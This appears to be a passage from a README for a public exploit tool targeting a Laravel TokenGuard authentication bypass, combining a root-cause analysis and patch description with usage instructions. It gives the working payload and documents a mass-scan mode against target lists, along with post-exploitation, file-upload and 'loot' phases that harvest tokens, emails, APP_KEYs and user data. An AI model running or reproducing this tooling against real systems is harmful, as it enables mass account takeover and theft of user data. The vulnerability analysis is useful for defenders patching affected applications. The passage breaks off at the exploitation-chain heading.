CVE-2026-114509

Laravel TokenGuard authentication bypass through non-string API credentials

🔴 CVE-2026-114509 — Laravel TokenGuard Authentication Bypass

Unauthenticated Authentication Bypass in Laravel Framework — TokenGuard API Guard

---

📋 Overview

CVE-2026-114509 is a critical authentication bypass vulnerability in Laravel Framework's built-in TokenGuard.

When configured with a standard token-based API guard on MySQL or MariaDB, an unauthenticated attacker can submit a crafted non-string credential (a JSON array) that causes the authentication lookup to match an unintended existing user — granting full access without knowing any valid API token.

This leads to complete account takeover on any route protected by the affected guard.

---

🛡️ Vulnerability Details

Field	Details
CVE ID	CVE-2026-114509
GHSA	GHSA-f9x3-7vq9-cph6
Affected Software	Laravel Framework (laravel/framework)
Affected Versions	< 12.68.0 and >= 13.0.0, < 13.29.0
Type	Authentication Bypass
CWE	CWE-287 — Improper Authentication
CWE	CWE-1287 — Improper Validation of Specified Type of Input
CVSS 4.0 Score	9.2 / 10 — CRITICAL
CVSS Vector	CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Authentication	None required (Pre-Auth)
Condition	MySQL / MariaDB backend
Patch	v12.68.0 / v13.29.0

---

⚙️ CVSS 4.0 Breakdown

Metric	Value	Meaning
Attack Vector	Network	Exploitable remotely over the internet
Attack Complexity	Low	No special conditions beyond MySQL/MariaDB
Attack Requirements	Present	Requires MySQL/MariaDB type coercion behavior
Privileges Required	None	No authentication needed
User Interaction	None	No victim action required
Confidentiality	High	Full read access to authenticated user data
Integrity	High	Can modify data as the bypassed user
Availability	High	Can disrupt service via account takeover

---

🔬 Technical Analysis

Root Cause

This is a type confusion bug at the boundary between HTTP request parsing, PHP framework logic, and SQL database behavior. Three ordinary behaviors align to create the vulnerability:

1. TokenGuard accepts non-string input — The user() method in TokenGuard.php uses !empty($token) instead of is_string($token) && !empty($token). JSON request bodies can provide arrays or integers as the token value.

2. EloquentUserProvider builds a WHERE IN query — When retrieveByCredentials() receives an array value, it generates WHERE api_token IN (...) instead of WHERE api_token = ....

3. MySQL type coercion — MySQL converts string columns to numbers for comparison. Integer 0 matches any string that doesn't start with a digit (which is most API tokens), because MySQL casts those strings to 0.0.

Exploitation Chain

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

Attack Flow

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

The Fix

Laravel patched TokenGuard.php by adding a type check — if the token is not a string, the guard returns null immediately and never calls the user provider:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

---

🚀 Usage

Requirements

• Python 3.7+
• requests
• rich (for colored terminal output)

Installation

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

Modes

The tool supports two modes: mass scan and single target deep probe.

---

🔍 Mode 1: Mass Scan

Scan a list of targets for the vulnerability:

python CVE-2026-114509.py scan targets.txt

Options:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12

Flag	Default	Description
targets	(required)	File with target URLs (one per line)
--threads	60	Number of concurrent threads
--timeout	12	Request timeout in seconds

Target file format (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

Targets without a scheme default to https://.

Output files (created in script directory):

File	Contents
LV_DETECTED.txt	All detected Laravel applications
LV_BYPASS.txt	Confirmed authentication bypasses
LV_UPLOAD.txt	Upload attempt results
LV_LOOT.txt	Extracted data (tokens, emails, APP_KEYs, user data)

---

🎯 Mode 2: Single Target

Deep probe a single target with verbose output:

python CVE-2026-114509.py single https://target.com

Options:

python CVE-2026-114509.py single https://target.com --timeout 15

This runs all four phases sequentially with detailed output:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401

Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
  SUCCESS /api/user [POST] [api_token=[0]]
    id: 1
    name: Admin
    email: [email protected]
    api_token: wAWrHmHkVV...

Phase 3: Post-Exploitation...
  users-list /api/users -> count=15
  panel:nova /nova/api/dashboards

Phase 4: File Upload (52 routes)...

Summary:
  Laravel: Yes (3 signals)
  Bypass:  Yes
  Upload:  0 attempts, 0 verified

---

🔗 Exploitation Chain

The tool executes a 4-phase chain: